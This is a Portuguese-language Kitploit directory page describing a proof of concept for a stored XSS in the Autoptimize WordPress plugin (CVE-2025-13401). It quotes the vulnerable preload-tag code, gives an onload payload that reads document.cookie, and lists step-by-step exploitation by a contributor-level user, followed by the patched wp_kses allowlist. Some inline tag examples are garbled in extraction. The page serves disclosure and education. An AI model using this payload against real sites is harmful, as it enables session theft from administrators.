Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-13401-XSS-Stored — Prova de conceito para XSS armazenado autenticado no Autoptimize < 3.1.14, explorando a sanitização insuficiente de atributos na geração de tags de pré-carregamento de imagens. | Kitploit
Ferramentas/GitHubGitHub/ciscocamelo/cve-2025-13401-xss-stored
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubciscocamelo/cve-2025-13401-xss-stored

CVE-2025-13401-XSS-Stored

Prova de conceito para XSS armazenado autenticado no Autoptimize < 3.1.14, explorando a sanitização insuficiente de atributos na geração de tags de pré-carregamento de imagens.

Ver Repositório
há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Prova de Conceito: XSS Armazenado no Autoptimize < 3.1.14

Vulnerabilidade: Cross-Site Scripting (XSS) Armazenado Autenticado (Colaborador+) Versão Afetada: Autoptimize <= 3.1.13 Versão Corrigida: Autoptimize 3.1.14 Arquivo: classes/autoptimizeImages.php

Descrição

A vulnerabilidade existe no método create_img_preload_tag() dentro de classes/autoptimizeImages.php. Essa função é responsável por gerar tags <link rel="preload"> para imagens encontradas no conteúdo quando a otimização de imagens ou o pré-carregamento está habilitado.

Na versão 3.1.13, a função utiliza uma abordagem de "lista negra" (via preg_replace) para remover atributos específicos como title, alt, , , e da tag `` original antes de convertê-la em uma tag . No entanto, ela não remove atributos de manipuladores de eventos, como ou .

class
id
width
height
<link>
onload
onerror

Um atacante autenticado (com pelo menos a função de Colaborador) pode incorporar uma tag `` maliciosa em um post. Quando o plugin processa esse post para gerar links de pré-carregamento, o manipulador de eventos malicioso é preservado e injetado no <head> da página dentro de uma tag <link>. Como <link rel="preload"> suporta o evento onload, o JavaScript é executado quando o recurso é carregado.

Código Vulnerável (v3.1.13)

root@kitploit:~
// classes/autoptimizeImages.php

public static function create_img_preload_tag( $tag ) {
    // ...
    // rewrite img tag to link preload img.
    $_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
    $_to   = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
    $tag   = str_replace( $_from, $_to, $tag );

    // INSUFFICIENT SANITIZATION: Only removes specific attributes
    $tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
    // ...
    return $tag;
}

Etapas da Prova de Conceito

Pré-requisitos

  1. Instale o Autoptimize versão 3.1.13.
  2. Ative "Otimizar Imagens" ou garanta que o pré-carregamento de imagens esteja ativo (por exemplo, via "Pré-carregar solicitações específicas" ou comportamentos padrão que atuam sobre as imagens).
    • Nota: A função vulnerável create_img_preload_tag é frequentemente acionada para imagens detectadas no viewport ou explicitamente pré-carregadas.

Payload

root@kitploit:~
<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">

Exploração

  1. Faça login como um usuário com a função Colaborador (ou superior).
  2. Crie um novo post.
  3. Injete o payload no conteúdo do post (usando o bloco HTML Personalizado ou o Editor de código).
    root@kitploit:~
    <!-- Malicious Image -->
    <img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    (Usar um recurso local geralmente garante que o evento de carregamento dispare rapidamente. Qualquer URL de imagem válida funciona.)
  4. Salve o post.
  5. Aguarde um Administrador visualizar o post (ou visualize você mesmo).
  6. O plugin Autoptimize irá analisar a tag ``.
  7. Ele gerará um link de pré-carregamento no código-fonte HTML:
    root@kitploit:~
    <link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    Nota: Os atributos width, height, etc. podem ser removidos, mas onload permanece.
  8. O navegador analisa a tag <link>, pré-carrega o recurso e dispara o evento onload, executando o XSS.

Correção na v3.1.14

A correção substitui a regex de lista negra por wp_kses(), habilitando uma lista branca estrita de atributos permitidos para a tag <link> gerada.

root@kitploit:~
// classes/autoptimizeImages.php v3.1.14

$allowed_html = array(
    'link' => array(
        'rel'           => true,
        'as'            => true,
        'href'          => true,
        'imagesizes'    => true,
        'imagesrcset'   => true,
        'type'          => true,
        'media'         => true,
    ),
);
$tag = wp_kses( $tag, $allowed_html );
Baixar ferramenta